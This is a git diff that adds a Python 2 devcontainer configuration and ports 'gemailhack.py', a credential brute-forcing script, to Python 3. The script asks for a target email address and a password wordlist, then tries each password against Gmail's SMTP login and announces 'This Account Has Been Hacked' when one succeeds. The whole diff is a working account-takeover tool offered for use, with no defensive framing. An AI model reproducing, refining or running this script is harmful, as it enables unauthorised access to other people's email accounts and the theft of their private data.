diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json new file mode 100644 index 0000000..a76360f --- /dev/null +++ b/.devcontainer/devcontainer.json @@ -0,0 +1,11 @@ +{ + "name": "Python 2 Development Container", + "image": "mcr.microsoft.com/devcontainers/universal:2", + "settings": { + "pythonPath": "/usr/bin/python2" + }, + "extensions": [], + "postCreateCommand": "apt-get update && apt-get install -y python2", + "forwardPorts": [], + "remoteUser": "vscode" +} diff --git a/gemailhack.py b/gemailhack.py index 2d28a67..efc84b8 100644 --- a/gemailhack.py +++ b/gemailhack.py @@ -1,74 +1,73 @@ -#!/usr/bin/python -'''create by Ha3MrX''' import smtplib from os import system def main(): - print '=================================================' - print ' create by Ha3MrX ' - print '=================================================' - print ' ++++++++++++++++++++ ' - print '\n ' - print ' _,. ' - print ' ' - print ' ' - print ' HA3MrX ' - print ' _,. ' - print ' ,` -.) ' - print ' ( _/-\\-._ ' - print ' /,|`--._,-^| , ' - print ' \_| |`-._/|| , | ' - print ' | `-, / | / / ' - print ' | || | / / ' - print ' `r-._||/ __ / / ' - print ' __,-<_ )`-/ `./ / ' - print ' \ `--- \ / / / ' - print ' | |./ / ' - print ' / // / ' - print ' \_/ \ |/ / ' - print ' | | _,^- / / ' - print ' | , `` (\/ /_ ' - print ' \,.->._ \X-=/^ ' - print ' ( / `-._//^` ' - print ' `Y-.____(__} ' - print ' | {__) ' - print ' () V.1.0 ' + print('=================================================') + print(' create by Ha3MrX / elhaddajiotmane ') + print('=================================================') + print(' ++++++++++++++++++++ ') + print('\n ') + print(' _,. ') + print(' ') + print(' ') + print(' HA3MrX / elhaddajiotmane ') + print(' _,. ') + print(' ,` -.) ') + print(' ( _/-\\-._ ') + print(' /,|`--._,-^| , ') + print(' \\_| |`-._/|| , | ') + print(' | `-, / | / / ') + print(' | || | / / ') + print(' `r-._||/ __ / / ') + print(' __,-<_ )`-/ `./ / ') + print(' \\ `--- \\ / / / ') + print(' | |./ / ') + print(' / // / ') + print(' \\_/ \\ |/ / ') + print(' | | _,^- / / ') + print(' | , `` (\\/ /_ ') + print(' \\,.->._ \\X-=/^ ') + print(' ( / `-._//^` ') + print(' `Y-.____(__} ') + print(' | {__) ') + print(' () V.1.0 ') main() -print '[1] start the attack' -print '[2] exit' -option = input('==>') +print('[1] start the attack') +print('[2] exit') +option = int(input('==>')) if option == 1: - file_path = raw_input('path of passwords file :') + file_path = input('path of passwords file: ') else: - system('clear') - exit() -pass_file = open(file_path,'r') + system('clear') + exit() +pass_file = open(file_path, 'r') pass_list = pass_file.readlines() + def login(): i = 0 - user_name = raw_input('target email :') + user_name = input('target email: ') server = smtplib.SMTP_SSL('smtp.gmail.com', 465) server.ehlo() for password in pass_list: - i = i + 1 - print str(i) + '/' + str(len(pass_list)) - try: - server.login(user_name, password) - system('clear') - main() - print '\n' - print '[+] This Account Has Been Hacked Password :' + password + ' ^_^' - break - except smtplib.SMTPAuthenticationError as e: - error = str(e) - if error[14] == '<': + i = i + 1 + print(str(i) + '/' + str(len(pass_list))) + try: + server.login(user_name, password) system('clear') main() - print '[+] this account has been hacked, password :' + password + ' ^_^' - + print('\n') + print('[+] This Account Has Been Hacked Password :' + password + ' ^_^') break - else: - print '[!] password not found => ' + password + except smtplib.SMTPAuthenticationError as e: + error = str(e) + if error[14] == '<': + system('clear') + main() + print('[+] this account has been hacked, password :' + password + ' ^_^') + break + else: + print('[!] password not found =>=> ' + password) + login()